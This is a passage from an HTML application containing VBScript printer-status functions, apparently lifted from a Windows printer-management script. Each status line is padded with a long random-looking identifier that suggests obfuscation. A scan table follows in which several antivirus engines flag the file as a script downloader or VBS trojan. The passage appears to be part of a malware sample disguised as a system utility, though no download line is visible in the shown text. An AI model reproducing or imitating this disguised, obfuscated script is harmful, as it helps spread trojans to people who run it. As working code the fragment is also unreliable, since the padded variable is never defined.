str = str + L_Text_Msg_Status03_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 4

str = str + L_Text_Msg_Status04_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 5

str = str + L_Text_Msg_Status05_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 6

str = str + L_Text_Msg_Status06_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 7

end select

PrnStatusToString = str

end function

function ExtPrnStatusToString(Status)

dim str

str = L_Empty_Text

select case Status

case 1

case 2

case 3

case 4

case 5

case 6

case 7

case 8

str = str + L_Text_Msg_Status08_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 9

str = str + L_Text_Msg_Status09_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 10

str = str + L_Text_Msg_Status10_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 11

str = str + L_Text_Msg_Status11_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 12

str = str + L_Text_Msg_Status12_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 13

str = str + L_Text_Msg_Status13_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 14

str = str + L_Text_Msg_Status14_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 15

str = str + L_Text_Msg_Status15_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 16

str = str + L_Text_Msg_Status16_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 17

str = str + L_Text_Msg_Status17_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

case 18

str = str + L_Text_Msg_Status18_Text + VvZgKyELJoWPVzMzmxbJeNWUMYlJeoNAoRfyLgpHeoRCFQNMhwMAmndcIxsdilAsDGheUpnZCclgPDtVzToUsyjAPXLSBgrHwzMVuyuZIJcMrUzvPCeqFQdPzqwrEMJXtYdGKmUtuqFPMoKcddfroGcsjiPuxdsBvyMIhpXxysEkWtWADCrbQcdrBPmsChjYYWoGYUqg

end select

ExtPrnStatusToString = str

end function

self.close

</script>

</html>

Antivirus	Signature
Bkav	Clean
Lionic	Clean
ClamAV	Clean
FireEye	Clean
CAT-QuickHeal	Clean
Skyhigh	Clean
ALYac	Clean
Malwarebytes	Clean
Zillya	Clean
Sangfor	Clean
K7AntiVirus	Clean
K7GW	Clean
Arcabit	Clean
BitDefenderTheta	Clean
VirIT	Clean
Symantec	CL.Downloader!gen11
ESET-NOD32	Clean
TrendMicro-HouseCall	Clean
Avast	Clean
Cynet	Clean
Kaspersky	HEUR:Trojan.Script.Generic
BitDefender	Clean
NANO-Antivirus	Clean
ViRobot	Clean
MicroWorld-eScan	Clean
Rising	Clean
TACHYON	Clean
Sophos	Clean
Baidu	Clean
F-Secure	Clean
DrWeb	Clean
VIPRE	Clean
TrendMicro	Clean
CMC	Clean
Emsisoft	Clean
Jiangmin	Clean
Google	Detected
Avira	Clean
Antiy-AVL	Clean
Kingsoft	Clean
Gridinsoft	Clean
Xcitium	Clean
Microsoft	Clean
SUPERAntiSpyware	Clean
ZoneAlarm	Clean
GData	Clean
Varist	Clean
AhnLab-V3	Clean
Acronis	Clean
McAfee	Clean
MAX	Clean
VBA32	Clean
Zoner	Clean
Tencent	Clean
Yandex	Clean
Ikarus	Trojan.VBS.Agent
MaxSecure	Clean
Fortinet	Clean
AVG	Clean
Panda	Clean